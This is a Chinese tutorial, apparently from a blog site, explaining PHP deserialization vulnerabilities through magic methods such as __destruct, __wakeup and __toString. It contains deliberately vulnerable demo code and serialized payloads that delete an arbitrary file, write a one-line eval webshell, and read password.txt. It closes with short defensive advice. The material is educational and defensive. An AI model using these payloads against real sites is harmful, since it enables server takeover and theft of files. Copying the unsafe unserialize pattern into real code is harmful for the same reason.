草庐IT

反序列化漏洞详解

一句话木马 2023-08-23 原文

目录

一、什么是序列化和反序列化

二、什么是反序列化漏洞

三、序列化函数(serialize)

四、反序列化(unserialize)

​五、什么是PHP魔术方法

六、一些常见的魔术方法

七、魔术方法的利用

 八、反序列化漏洞的利用

1.__destruct()函数

2.__wakeup()

3.toString()

​九、反序列化漏洞的防御


一、什么是序列化和反序列化

序列化是将对象转换为字符串以便存储传输的一种方式。而反序列化恰好就是序列化的逆过程,反序列化会将字符串转换为对象供程序使用。在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize()。

二、什么是反序列化漏洞

当程序在进行反序列化时,会自动调用一些函数,例如__wakeup(),__destruct()等函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。

三、序列化函数(serialize)

当我们在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,用于保存对象的值方便之后的传递与使用。

测试代码

<?php 
 class Stu{
    public $name = 'aa';
    public $age = 18;
    public function demo(){
        echo "你好啊";
    }
$stu = new Stu();
echo "<pre>";
print_r($stu);
//进行序列化
$stus = serialize($stu);
print_r($stus);
}

?>

查看结果:

四、反序列化(unserialize)

        unserialize()可以从序列化后的结果中恢复对象(object)为了使用这个对象,在下列代码中用unserialize重建对象.

测试代码:

<?php 
	//定义一个Stu类
	class Stu
	{	
		//定义成员属性
		public $name = 'aa';
		public $age = 19;
		//定义成员方法
		public function demo()
		{
			echo '你吃了吗';
		}
	}
	//实例化对象
	$stu = new Stu();
	//进行序列化
	$stus = serialize($stu);
	print_r($stus);
	echo "<br><pre>";
	//进行反序列化
	print_r(unserialize($stus));
 ?>

查看结果:

五、什么是PHP魔术方法

魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,利用魔术方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)。 问题就出现在重载过程中,执行了相关代码。

六、一些常见的魔术方法

  • __construct() :构造函数,当创建对象时自动调用。
  • __destruct():析构函数,在对象的所有引用都被删除时或者对象被显式销毁时调用,当对象被销毁时自动调用。
  • __wakeup():进行unserialize时会查看是否有该函数,有的话有限调用。会进行初始化对象。
  • __ toString():当一个类被当成字符串时会被调用。
  • __sleep():当一个对象被序列化时调用,可与设定序列化时保存的属性。

七、魔术方法的利用

测试代码:

<?php
  class Stu
    {
       public $name = 'aa';
       public $age = 18;
       
      function __construct()
      {
        echo '对象被创建了__consrtuct()';
      }
      function __wakeup()
      {
        echo '执行了反序列化__wakeup()';
      }     
       function __toString()
      {
        echo '对象被当做字符串输出__toString';
        return 'asdsadsad';
      }
      function __sleep()
      {
        echo '执行了序列化__sleep';
        return array('name','age');
      }
      function __destruct()
      {
        echo '对象被销毁了__destruct()';
      }

    } 
    $stu =  new Stu();
    echo "<pre>";
   //序列化
    $stu_ser = serialize($stu);
    print_r($stu_ser);
    //当成字符串输出
    echo "$stu";
   //反序列化
    $stu_unser = unserialize($stu_ser);
    print_r($stu_unser);
?>
 

 测试结果:

 八、反序列化漏洞的利用

由于反序列化时unserialize()函数会自动调用wakeup(),destruct(),函数,当有一些漏洞或者恶意代码在这些函数中,当我们控制序列化的字符串时会去触发他们,从而达到攻击。

1.__destruct()函数

个网站内正常页面使用logfile.php文件,代码中使用unserialize()进行了反序列化,且反序列化的值是用户输入可控 。正常重构Stu对象

测试代码:

<?php 
	header("content-type:text/html;charset=utf-8");
	//引用了logfile.php文件
	include './logfile.php';
	//定义一个类
	class Stu
	{
		public $name = 'aa';
		public $age = 19;
		function StuData()
		{
			echo '姓名:'.$this->name.'<br>';
			echo '年龄:'.$this->age;
		}
	}
	//实例化对象
	$stu = new Stu();
	//重构用户输入的数据
	$newstu = unserialize($_GET['stu']);
	//O:3:"Stu":2:{s:4:"name";s:25:"<script>alert(1)</script>";s:3:"age";i:120;}
	echo "<pre>";
	var_dump($newstu) ;
 ?>

logfile.php 代码:

<?php 
	class LogFile
	{
		//日志文件名
		public $filename = 'error.log';
		//存储日志文件
		function LogData($text)
		{
			//输出需要存储的内容
			echo 'log some data:'.$text.'<br>';
			file_put_contents($this->filename, $text,FILE_APPEND);
		}
		//删除日志文件
		function __destruct()
		{
			//输出删除的文件
			echo '析构函数__destruct 删除新建文件'.$this->filename;
			//绝对路径删除文件
			unlink(dirname(__FILE__).'/'.$this->filename);
		}
	} 
 ?>

正常输入参数:O:3:"Stu":2:{s:4:"name";s:2:"aa";s:3:"age";i:20;}

重构logfile.php文件包含的对象进行文件删除 

  •  正常重构:O:7:"LogFile":1:{s:8:"filename";s:9:"error.log";}

 发现正常删除,但如果我们修改参数,让其删除其他的文件呢?

  • 异常重构:O:7:"LogFile":1:{s:8:"filename";s:10:"../ljh.php";}
  • 执行该代码

2.__wakeup()

例如有一个代码为index.php,源码如下

<?php 
	class chybeta
	{
		public $test = '123';
		function __wakeup()
		{
			$fp = fopen("shell.php","w") ;
			fwrite($fp,$this->test);
			fclose($fp);
		}
	}
	$class = @$_GET['test'];
	print_r($class);
	echo "</br>";
	$class_unser = unserialize($class);
	
	// 为显示效果,把这个shell.php包含进来
    require "shell.php";
 ?>

 传入参数:?test=O:7:"chybeta":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";}

 查看shell.php文件

也可以传入一句话木马:O:7:"chybeta":1:{s:4:"test";s:25:"<?php eval($_POST[1]); ?>";}

3.toString()

举个例子,某用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出(echo $obj),而且其他类也可能定义了一个类允许 __toString读取某个文件。把下面这段代码保存为fileread.php

fileread.php代码

<?php 
	//读取文件类
	class FileRead
	{
		public $filename = 'error.log';
		function __toString()
		{
			return file_get_contents($this->filename);
		}
	}
 ?>

 个网站内正常页面应引用fileread.php文件,代码中使用unserialize()进行了反序列化,且反序列化的值是用户输入可控 。

测试代码:

<?php 
	//引用fileread.php文件
	include './fileread.php';
	//定义用户类
	class User
	{
		public $name = 'aa';
		public $age = 18;
		function __toString()
		{
			return '姓名:'.$this->name.';'.'年龄:'.$this->age;
		}
	}
	//O:4:"User":2:{s:4:"name";s:2:"aa";s:3:"age";i:18;}
	//反序列化
	$obj = unserialize($_GET['user']);
	//当成字符串输出触发toString
	echo $obj;
 ?>

 正常重构:O:4:"User":2:{s:4:"name";s:2:"aa";s:3:"age";i:18;}

 

重构fileread.php文件包含的类进行读取password.txt文件内容

重构:O:8:"FileRead":1:{s:8:"filename";s:12:"password.txt";}

九、反序列化漏洞的防御

和大多数漏洞一样,反序列化的问题也是用户参数的控制问题引起的,所以最好的预防措施: 

  1.  不要把用户的输入或者是用户可控的参数直接放进反序列化的操作中去。
  2. 在进入反序列化函数之前,对参数进行限制过滤。

 

有关反序列化漏洞详解的更多相关文章

  1. ruby - 是否有用于序列化和反序列化各种格式的对象层次结构的模式? - 2

    给定一个复杂的对象层次结构,幸运的是它不包含循环引用,我如何实现支持各种格式的序列化?我不是来讨论实际实现的。相反,我正在寻找可能会派上用场的设计模式提示。更准确地说:我正在使用Ruby,我想解析XML和JSON数据以构建复杂的对象层次结构。此外,应该可以将该层次结构序列化为JSON、XML和可能的HTML。我可以为此使用Builder模式吗?在任何提到的情况下,我都有某种结构化数据-无论是在内存中还是文本中-我想用它来构建其他东西。我认为将序列化逻辑与实际业务逻辑分开会很好,这样我以后就可以轻松支持多种XML格式。 最佳答案 我最

  2. Tomcat AJP 文件包含漏洞(CVE-2020-1938) - 2

    目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控

  3. ruby-on-rails - carrierwave:在序列化动态属性上安装 uploader - 2

    首先,我使用的是rails3.1.3和来自master的carrierwavegithub仓库的分支。我使用after_init钩子(Hook)来确定基于属性的字段页面模型实例并为这些字段定义属性访问器将值存储在序列化哈希中(希望它清楚我是什么谈论)。这是我正在做的事情的精简版:classPage省略mount_uploader命令让我可以访问我想要的属性。但是当我安装uploader时出现错误消息说“nil类的未定义新方法”我在源代码中读到有方法read_uploader和扩展模块中的write_uploader。我如何必须覆盖这些来制作mount_uploader命令使用我的“虚拟

  4. 物联网MQTT协议详解 - 2

    一、什么是MQTT协议MessageQueuingTelemetryTransport:消息队列遥测传输协议。是一种基于客户端-服务端的发布/订阅模式。与HTTP一样,基于TCP/IP协议之上的通讯协议,提供有序、无损、双向连接,由IBM(蓝色巨人)发布。原理:(1)MQTT协议身份和消息格式有三种身份:发布者(Publish)、代理(Broker)(服务器)、订阅者(Subscribe)。其中,消息的发布者和订阅者都是客户端,消息代理是服务器,消息发布者可以同时是订阅者。MQTT传输的消息分为:主题(Topic)和负载(payload)两部分Topic,可以理解为消息的类型,订阅者订阅(Su

  5. 什么是0day漏洞?如何预防0day攻击? - 2

    什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相

  6. Tcl脚本入门笔记详解(一) - 2

    TCL脚本语言简介•TCL(ToolCommandLanguage)是一种解释执行的脚本语言(ScriptingLanguage),它提供了通用的编程能力:支持变量、过程和控制结构;同时TCL还拥有一个功能强大的固有的核心命令集。TCL经常被用于快速原型开发,脚本编程,GUI和测试等方面。•实际上包含了两个部分:一个语言和一个库。首先,Tcl是一种简单的脚本语言,主要使用于发布命令给一些互交程序如文本编辑器、调试器和shell。由于TCL的解释器是用C\C++语言的过程库实现的,因此在某种意义上我们又可以把TCL看作C库,这个库中有丰富的用于扩展TCL命令的C\C++过程和函数,所以,Tcl是

  7. ruby-on-rails - Rails 编辑序列化的 JSON 数据 - 2

    我有一个存储JSON数据的列。当它处于编辑状态时,我不知道如何显示它。serialize:value,JSON=f.fields_for:valuedo|ff|.form-group=ff.label:short=ff.text_field:short,class:'form-control'.form-group=ff.label:long=ff.text_field:long,class:'form-control' 最佳答案 代替=f.fields_for:valuedo|ff|请使用以下代码:=f.fields_for:va

  8. ruby-on-rails - 序列化时无法将空数组保存到数据库 - 2

    在RubyonRails中,如果数组为空,则具有序列化数组字段的模型将不会在.save()上更新,而它之前有数据。我正在使用:ruby2.2.1rails4.2.1sqlite31.3.10我创建了一个字段设置为文本的新模型:railsgmodel用户名:stringexample:text在我添加的User.rb文件中:serialize:example,Array我实例化了User类的一个新实例:test=User.new然后我保存用户以确保它正确保存:test.save()(0.1ms)begintransactionSQL(0.4ms)INSERTINTO"users"("cr

  9. ruby - 加载使用 YAML 序列化的对象时调用初始化 - 2

    是否可以在使用YAML.load_file时强制Ruby调用初始化方法?我想调用该方法以便为我不序列化的实例变量提供值。我知道我可以将代码分解成一个单独的方法并在调用YAML.load_file之后调用该方法,但我想知道是否有更优雅的方法来处理这个问题。 最佳答案 我认为你做不到。由于您要添加的代码确实特定于要反序列化的类,因此您应该考虑在类中添加该功能。例如,让Foo成为您要反序列化的类,您可以添加一个类方法,例如:classFoodefself.from_yaml(yaml)foo=YAML::load(yaml)#editth

  10. 【详解】Docker安装Elasticsearch7.16.1集群 - 2

    开门见山|拉取镜像dockerpullelasticsearch:7.16.1|配置存放的目录#存放配置文件的文件夹mkdir-p/opt/docker/elasticsearch/node-1/config#存放数据的文件夹mkdir-p/opt/docker/elasticsearch/node-1/data#存放运行日志的文件夹mkdir-p/opt/docker/elasticsearch/node-1/log#存放IK分词插件的文件夹mkdir-p/opt/docker/elasticsearch/node-1/plugins若你使用了moba,直接右键新建即可如上图所示依次类推创建

随机推荐